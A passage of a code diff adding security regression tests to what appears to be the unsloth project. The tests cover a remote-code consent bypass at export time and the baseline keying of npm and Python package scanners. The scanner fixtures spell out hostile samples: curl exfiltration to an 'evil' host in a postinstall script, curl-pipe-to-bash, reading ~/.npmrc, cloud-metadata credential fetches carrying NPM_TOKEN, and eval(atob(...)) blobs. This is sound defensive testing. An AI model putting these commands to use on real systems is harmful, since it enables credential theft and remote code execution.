+            isinstance(first, ast.Attribute) and first.attr == "executable"
+        ), "argv[0] should be sys.executable, not a shell string"
 
 
-def test_ggml_conversion_paths_do_not_use_shell() -> None:
+def test_legacy_ggml_wrappers_delegate_safely() -> None:
+    """The legacy ggml entry points must delegate to the shared helper and not build their
+    own subprocess invocation."""
     source = SAVE_PY.read_text(encoding = "utf-8")
     for function_name in (
         "unsloth_convert_lora_to_ggml_and_push_to_hub",
         "unsloth_convert_lora_to_ggml_and_save_locally",
     ):
-        calls = _function_calls(source, function_name)
-        _assert_safe_ggml_calls(calls)
+        node = _get_function(source, function_name)
+        calls = [c for c in ast.walk(node) if isinstance(c, ast.Call)]
+        assert any(
+            isinstance(c.func, ast.Name) and c.func.id == "_unsloth_save_lora_gguf" for c in calls
+        ), f"{function_name} should delegate to _unsloth_save_lora_gguf"
+        assert not _popen_calls(
+            node
+        ), f"{function_name} should not call subprocess.Popen directly anymore"
diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py
new file mode 100644
index 0000000000..1d0acb7866
--- /dev/null
+++ b/tests/saving/test_torchao_remote_code_consent.py
@@ -0,0 +1,150 @@
+"""Regression tests for the export-time remote-code trust decision.
+
+FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable
+trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model
+that loads fine with built-in classes (and therefore skips the load-time consent scan) could
+smuggle unvetted remote code that then runs at export. The export paths now derive
+trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead.
+
+These run on CPU with no torch / unsloth import: they AST-extract the real helper from
+unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust.
+"""
+
+import ast
+from pathlib import Path
+
+_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+_SRC = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _load_helper():
+    """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it."""
+    tree = ast.parse(_SRC)
+    fn = next(
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code"
+    )
+    ns = {}
+    exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns)
+    return ns["_loaded_via_remote_code"]
+
+
+_loaded_via_remote_code = _load_helper()
+
+
+def _obj(module_name, **attrs):
+    """A throwaway instance whose class __module__ is `module_name`, plus given attributes."""
+    cls = type("Fake", (), {})
+    cls.__module__ = module_name
+    inst = cls()
+    for k, v in attrs.items():
+        setattr(inst, k, v)
+    return inst
+
+
+def test_builtin_class_is_not_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False
+
+
+def test_transformers_modules_class_is_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True
+
+
+def test_none_is_not_remote_code():
+    assert _loaded_via_remote_code(None) is False
+
+
+def test_none_module_is_not_remote_code():
+    # A class whose __module__ is None must not raise AttributeError.
+    assert _loaded_via_remote_code(_obj(None)) is False
+
+
+def test_auto_map_in_config_alone_does_not_grant_trust():
+    # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT
+    # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).
+    cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()
+    assert (
+        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))
+        is False
+    )
+
+
+def test_peft_base_model_is_unwrapped():
+    base = _obj("transformers_modules.acme.modeling_x")
+    peft = _obj("peft.peft_model", get_base_model = lambda: base)
+    assert _loaded_via_remote_code(peft) is True
+
+
+def test_wrapper_model_attr_is_walked():
+    inner = _obj("transformers_modules.acme.modeling_x")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is True
+
+
+def test_wrapper_over_builtin_stays_false():
+    inner = _obj("transformers.models.llama.modeling_llama")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is False
+
+
+def test_processor_held_custom_tokenizer_is_detected():
+    # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must
+    # descend into processor components or the export reload loses that approved trust.
+    tok = _obj("transformers_modules.acme.tokenization_x")
+    proc = _obj("transformers.processing_utils", tokenizer = tok)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_processor_held_custom_image_processor_is_detected():
+    ip = _obj("transformers_modules.acme.image_processing_x")
+    proc = _obj("transformers.processing_utils", image_processor = ip)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_builtin_processor_with_builtin_components_stays_false():
+    proc = _obj(
+        "transformers.processing_utils",
+        tokenizer = _obj("transformers.tokenization_utils_fast"),
+        image_processor = _obj("transformers.image_processing_utils"),
+    )
+    assert _loaded_via_remote_code(proc) is False
+
+
+def test_cyclic_wrappers_terminate():
+    a = _obj("peft.peft_model")
+    b = _obj("peft.peft_model", model = a)
+    a.model = b
+    assert _loaded_via_remote_code(a) is False
+
+
+# -- call-site assertions: the auto_map-derived trust is gone from every export path -----------
+
+
+def test_torchao_export_derives_trust_from_load_decision():
+    assert "model_trust = _loaded_via_remote_code(model)" in _SRC
+    assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC
+    assert "trust_remote_code = model_trust" in _SRC
+    assert "trust_remote_code = tok_trust" in _SRC
+    # The staged-config auto_map scan that granted trust is removed.
+    assert 'if "auto_map" in json.load' not in _SRC
+
+
+def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():
+    # No path derives a trust decision straight from config auto_map anymore, and no path
+    # collapses model and tokenizer trust into one flag.
+    assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC
+    assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC
+    assert "if _loaded_via_remote_code(model):" in _SRC  # GGUF-LoRA converter flag
+
+
+def test_compressed_export_keeps_model_and_tokenizer_trust_separate():
+    # The subprocess gets one flag per component, so an approved custom tokenizer cannot
+    # enable an unapproved model's code during compressed quantization (or vice versa).
+    assert 'cmd.append("--trust-remote-code")' in _SRC
+    assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC
+    qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")
+    assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc
+    assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc
+    # The model loads keep the model flag only.
+    assert "args.model, args.trust_remote_code)" in qsrc
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index ec9af37785..35a34e2834 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -328,8 +328,9 @@ def _finding(
     fn,
     pattern,
     sev = snp.HIGH,
+    evidence = "",
 ):
-    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern)
+    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
 
 
 def test_norm_pkg_name_strips_version_keeps_scope():
@@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
     n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
     assert n == 1  # dedup + MEDIUM excluded
     keys = snp._load_baseline(str(bl))
-    assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys
+    assert snp._finding_key(findings[0]) in keys
     # MEDIUM below HIGH threshold -> not written.
     assert all(k[2] != "js-env-token" for k in keys)
 
 
+def test_baseline_reopens_on_changed_evidence(tmp_path):
+    # Same package/file/pattern but changed flagged code must reopen: the key now
+    # includes an evidence hash, so a new payload cannot ride a reviewed entry.
+    bl = tmp_path / "bl.json"
+    listed = _finding(
+        "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+    )
+    snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
+    baseline = snp._load_baseline(str(bl))
+
+    # The reviewed finding stays suppressed across a version bump (same evidence).
+    same = _finding(
+        "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+    )
+    # A changed payload under the same package/file/pattern stays active.
+    changed = _finding(
+        "left-pad@9.9.9",
+        "package/dist/index.js",
+        "obfuscated-blob",
+        evidence = "fetch('http://evil')",
+    )
+    active, suppressed = snp._partition_baseline([same, changed], baseline)
+    assert same in suppressed
+    assert changed in active
+
+
+def test_obfuscated_blob_key_reopens_on_changed_tail():
+    # A large blob's evidence hash binds the full match (via a digest when the
+    # snippet is truncated), so changing only the payload tail reopens the key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    head = "A" * 2300
+    old = f'eval("{head}{"B" * 300}")'
+    new = f'eval("{head}{"C" * 300}")'
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "obfuscated-blob"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "obfuscated-blob"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert of.evidence != nf.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_js_fetch_eval_payload_tail_reopens_key():
+    # The js-fetch-eval evidence digests the full containing line when the shown
+    # window truncates it, so a changed payload tail beyond the window reopens
+    # the key instead of riding the unchanged decoder head.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    head = "A" * 40
+    old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
+    new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
+    of = [
+        f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
+    ][0]
+    nf = [
+        f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_multiline_options_reopen():
+    # A multi-line outbound call binds its option/header lines, so changing the
+    # headers/body on a continuation line reopens the cred-surface-host key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n"
+    old = url + "  {headers: {a: 'old'}})\n"
+    new = url + "  {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n"
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert "sha256:" in of.evidence
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_config_multiline_object_reopens():
+    # A host-config object whose `{` is on a prior line still binds the whole
+    # object, so changing the path/headers on a following line reopens the key
+    # rather than riding the unchanged hostname line.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    obj = (
+        "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nhttps.request(opts);\n"
+    )
+    old = obj % "/latest/meta-data/iam/security-credentials/old"
+    new = obj % "/latest/meta-data/iam/security-credentials/evil"
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def _host_config_pkg():
+    return snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+
+
+def _host_finding(text):
+    return [
+        f
+        for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+
+
+def test_outbound_host_config_long_object_binds_tail():
+    # A config object longer than the backward window still binds its tail, so a
+    # changed payload line well below the hostname reopens (not truncated away).
+    filler = "\n".join(f"  opt{i}: {i}," for i in range(30))
+    obj = (
+        "const opts = {\n  hostname: '169.254.169.254',\n"
+        + filler
+        + "\n  path: '%s',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_config_far_opener_binds():
+    # The enclosing object's opener can sit well above the hostname line (a large
+    # options object whose `{` is many properties back). The backward scan must
+    # still reach it so a payload changed on an earlier property of the same object
+    # reopens, not just a change on the hostname line itself.
+    above = "\n".join(f"  opt{i}: {i}," for i in range(20))
+    obj = (
+        "const opts = {\n"
+        + above
+        + "\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
+    )
+    changed = obj.replace("opt0: 0,", "opt0: 999,")
+    assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
+
+
+def test_outbound_host_config_forward_cap_measured_from_match():
+    # With the opener near the backward-search limit, the forward group cap must be
+    # measured from the matched hostname line, not the opener, so the path that
+    # follows the hostname is still bound and a changed payload there reopens.
+    above = "\n".join(f"  opt{i}: {i}," for i in range(198))
+    obj = (
+        "const opts = {\n"
+        + above
+        + "\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_multiple_contexts_all_bind():
+    # The same contextual host can appear in more than one outbound form. Adding a
+    # separate host-config request beside an already-present URL for that host must
+    # reopen the key, not ride the unchanged URL evidence.
+    base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n"
+    extra = "https.request({\n  hostname: '169.254.169.254',\n  path: '/evil',\n});\n"
+    assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra))
+
+
+def test_outbound_host_config_opener_after_unmatched_closer_binds():
+    # A leading unmatched `}` from a preceding block (its opener outside the
+    # backward window) must not drive depth negative and mask the host-config
+    # opener that follows; the object should still bind so a changed path reopens.
+    pre = "callback(arg);\n});\n"  # stray closer; the matching opener is out of view
+    obj = pre + "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_config_close_then_open_same_line_binds():
+    # Stronger than the previous case: the unmatched closer and the host-config
+    # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count
+    # nets that line to <= 0 and drops the trailing `{`, so the group would start at
+    # the hostname line and a changed path could ride the unchanged-hostname key.
+    # Order-aware reduction keeps the opener, so the path binds and a change reopens.
+    obj = "}); const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nrun(opts);\n"
+    assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key(
+        _host_finding(obj % "/evil")
+    )
+
+
+def test_outbound_host_multiline_template_literal_reopens():
+    # A ) inside a multi-line backtick template literal must not close the call
+    # early; the options object after the template binds, so a changed header
+    # reopens rather than riding the unchanged host (a per-line string blanker
+    # cannot mask a template literal that spans lines).
+    old = "request(`http://169.254.169.254/x\n)`, {\n  headers: {a: 'old'},\n});\n"
+    new = "request(`http://169.254.169.254/x\n)`, {\n  headers: {a: 'evil'},\n});\n"
+    assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_cred_env_lifecycle_binds_whole_body():
+    # cred-env-in-lifecycle evidence pins the whole script body, so a changed
+    # non-token line (echo safe -> curl exfil) reopens even with the token line
+    # unchanged.
+    def life(body):
+        pkg = snp.PackageEntry(
+            name = "e",
+            version = "1.0.0",
+            resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+            integrity = "sha512-x",
+            lockfile_key = "node_modules/e",
+        )
+        text = json.dumps({"scripts": {"postinstall": body}})
+        return [
+            f
+            for f in snp.scan_package_json(pkg, "package/package.json", text)
+            if "cred-env-in-lifecycle" in f.pattern
+        ][0]
+
+    safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")
+    evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")
+    assert "body-sha256:" in safe.evidence
+    assert snp._finding_key(safe) != snp._finding_key(evil)
+
+
+def _lifecycle_finding(body, frag):
+    pkg = snp.PackageEntry(
+        name = "e",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",
+        integrity = "sha512-x",
+        lockfile_key = "node_modules/e",
+    )
+    text = json.dumps({"scripts": {"postinstall": body}})
+    return [
+        f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern
+    ][0]
+
+
+def test_lifecycle_fetch_exec_bounds_body_but_reopens():
+    # The whole install script is bound by a digest, but the stored evidence is a
+    # bounded matched snippet plus that digest, not the full body, so writing the
+    # baseline on a multi-KiB install script stays small while a change to any line
+    # (even far below the fetch-exec line) reopens the finding.
+    pad = "# pad\n" * 5000
+    old = "curl https://x.sh | bash\n" + pad + "echo done_old"
+    new = "curl https://x.sh | bash\n" + pad + "echo done_evil"
+    of = _lifecycle_finding(old, "lifecycle-fetch-exec")
+    nf = _lifecycle_finding(new, "lifecycle-fetch-exec")
+    assert "body-sha256:" in of.evidence
+    assert len(of.evidence) < len(old)  # snippet + digest, not the whole body
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_cred_path_lifecycle_bounds_body_but_reopens():
+    # cred-path-in-lifecycle is bounded the same way: a snippet around the matched
+    # credential path plus the whole-body digest, so a far-line change reopens
+    # without storing the entire script body in the baseline.
+    pad = "# pad\n" * 5000
+    old = "cat ~/.npmrc\n" + pad + "echo old"
+    new = "cat ~/.npmrc\n" + pad + "echo evil"
+    of = _lifecycle_finding(old, "cred-path-in-lifecycle")
+    nf = _lifecycle_finding(new, "cred-path-in-lifecycle")
+    assert "body-sha256:" in of.evidence
+    assert len(of.evidence) < len(old)
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_outbound_host_regex_literal_does_not_close_group_early():
+    # A ) inside a JS regex literal must not close the outbound call early; the
+    # options object after the regex binds, so a changed header reopens.
+    old = "request('http://169.254.169.254', /)/, {\n  headers: {a: 'old'},\n});\n"
+    new = old.replace("old", "evil")
+    assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))
+
+
+def test_evidence_overflow_binds_context_and_counts_all_matches():
+    # Every match past the display cap is still counted in the overflow digest AND
+    # bound by its logical-line context, so changing the payload on an over-cap line
+    # reopens (the digest is not just the regex match text, and the iterator is not
+    # truncated before reaching it).
+    n = snp._MAX_EVIDENCE_MATCHES
+    mk = lambda which: "".join(
+        f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"
+        for i in range(n + 5)
+    )
+    e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)
+    e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)
+    assert "more) sha256:" in e1
+    assert snp._evidence_hash(e1) != snp._evidence_hash(e2)
+
+
+def test_evidence_caps_match_count_with_digest_remainder():
+    # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one
+    # digest so a huge/minified file cannot build an unbounded evidence string,
+    # while a changed match count past the cap still reopens.
+    over = snp._MAX_EVIDENCE_MATCHES + 20
+    base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))
+    ev = snp._evidence(base, snp._JS_ENV_TOKEN)
+    assert "more) sha256:" in ev
+    assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES  # bounded, not `over` spans
+    less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))
+    assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))
+
+
+def test_evidence_streams_overflow_count_is_exact():
+    # The overflow matches are streamed from finditer (not collected into a list
+    # before the cap), so the "(+N more)" count must still equal the exact number of
+    # matches past the display cap for a large input, and the shown spans stay
+    # bounded to the cap.
+    extra = 1000
+    total = snp._MAX_EVIDENCE_MATCHES + extra
+    body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))
+    ev = snp._evidence(body, snp._JS_ENV_TOKEN)
+    import re as _re
+
+    m = _re.search(r"\(\+(\d+) more\)", ev)
+    assert m and int(m.group(1)) == extra  # every over-cap match counted
+    assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES  # display stays bounded
+
+
+def _ioc_pkg():
+    return snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-x",
+        lockfile_key = "node_modules/evil",
+    )
+
+
+def test_known_ioc_evidence_binds_context_not_bare_needle():
+    # A known-ioc-string finding keys on the matched-line context, not the bare
+    # constant, so a changed adjacent fetch/exfil body on the same call reopens
+    # while the IOC needle stays in place.
+    ioc = next(iter(snp.KNOWN_IOC_STRINGS))
+    old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"
+    new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"
+
+    def key(text):
+        return [
+            snp._finding_key(f)
+            for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+            if f.pattern == "known-ioc-string"
+        ][0]
+
+    assert key(old) != key(new)
+
+
+def test_always_bad_host_evidence_binds_outbound_context():
+    # cred-surface-host (always-bad) binds the outbound call context, so altering
+    # the exfil body on the same call reopens the key instead of riding the bare
+    # host literal.
+    host = snp.CRED_HOST_ALWAYS_BAD[0][0]
+    old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"
+    new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"
+
+    def key(text):
+        return [
+            snp._finding_key(f)
+            for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)
+            if f.pattern == "cred-surface-host (always-bad)"
+        ][0]
+
+    assert key(old) != key(new)
+
+
+def test_outbound_host_config_reindent_is_stable():
+    # A formatter-only reindent of the bound continuation lines must NOT change
+    # the key (whitespace is normalized before the logical-line digest).
+    tight = "const opts = {\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
+    loose = (
+        "const opts = {\n      hostname: '169.254.169.254',\n      path:    '/x',\n};\nrun(opts);\n"
+    )
+    assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))
+
+
+def test_evidence_preserves_intra_string_whitespace():
+    # Whitespace OUTSIDE string literals is normalized (reindent-stable), but
+    # whitespace INSIDE a literal is preserved, so a changed payload body
+    # (body: 'a b' -> 'a  b') reopens the key instead of being erased along with
+    # indentation.
+    a = "request('http://169.254.169.254/x', {\n  body: 'a b',\n});\n"
+    b = "request('http://169.254.169.254/x', {\n  body: 'a    b',\n});\n"
+    assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))
+
+
+def test_outbound_cred_surface_binds_context():
+    # The outbound cred-surface host finding records the host WITH its URL path /
+    # fetch call, so changing the outbound path or headers reopens the key rather
+    # than riding the bare host literal.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
+    new = (
+        "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
+        "{headers: steal})\n"
+    )
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_load_baseline_skips_non_dict_entries(tmp_path):
+    # A malformed current-schema baseline (non-dict entries, or a non-object root)
+    # must not crash the loader; bad entries are skipped, valid ones still load.
+    bl = tmp_path / "bad.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": snp._BASELINE_SCHEMA_VERSION,
+                "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    keys = snp._load_baseline(str(bl))
+    assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
+    # A non-object root is rejected with a warning, not a crash.
+    arr = tmp_path / "arr.json"
+    arr.write_text("[1, 2, 3]", encoding = "utf-8")
+    assert snp._load_baseline(str(arr)) == set()
+
+
 def test_legacy_schema_baseline_is_ignored(tmp_path):
     # A pre-v2 baseline stored basenames; its keys are ambiguous under
     # package-relative matching, so a populated legacy file is ignored (fail
@@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
     assert snp._load_baseline(str(bl)) == set()
 
 
+def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
+    # v2 shares v3's package-relative keying, so its entries migrate (the hash is
+    # recomputed from stored evidence) rather than being thrown away, matching the
+    # Python loader. An unchanged finding stays suppressed.
+    bl = tmp_path / "v2.json"
+    evidence = "fetch('http://ok')"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 2,
+                "entries": [
+                    {
+                        "package": "left-pad",
+                        "file": "package/dist/index.js",
+                        "pattern": "obfuscated-blob",
+                        "severity": snp.HIGH,
+                        "evidence": evidence,
+                    }
+                ],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    finding = _finding(
+        "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
+    )
+    assert snp._finding_key(finding) in snp._load_baseline(str(bl))
+
+
+def test_outbound_cred_surface_host_config_binds_full_context():
+    # The host-config branch captures the whole line (path + headers), so changing
+    # the outbound headers/body on the same hostname line reopens the key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    path = "/latest/meta-data/iam/security-credentials/role-name"
+    old = (
+        "const opts = {hostname: '169.254.169.254', "
+        f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
+    )
+    new = (
+        "const opts = {hostname: '169.254.169.254', "
+        f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
+    )
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
 def test_committed_baseline_is_empty_and_valid():
     # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
     path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 91331668d6..48e6da5f66 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():
     assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
 
 
-def _mk(sev, pkg, fname, check):
-    return sp.Finding(sev, pkg, fname, check, "evidence")
+def _mk(
+    sev,
+    pkg,
+    fname,
+    check,
+    evidence = "evidence",
+):
+    return sp.Finding(sev, pkg, fname, check, evidence)
 
 
 def test_baseline_key_version_stable_but_path_specific():
     a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
     b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
-    # Same package-relative path across versions -> same key (stable).
+    # Same package-relative path + same matched code across versions -> same key.
     assert sp._finding_key(a) == sp._finding_key(b)
     # Same basename in a different path -> different key (no over-suppression).
     c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
     assert sp._finding_key(a) != sp._finding_key(c)
 
 
+def test_baseline_key_line_shift_stable_but_code_specific():
+    # The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that
+    # only shifts line numbers keeps the key stable...
+    base = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
+    )
+    shifted = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
+    )
+    assert sp._finding_key(base) == sp._finding_key(shifted)
+    # ...but a NEW payload in the same file/check (different matched code) does
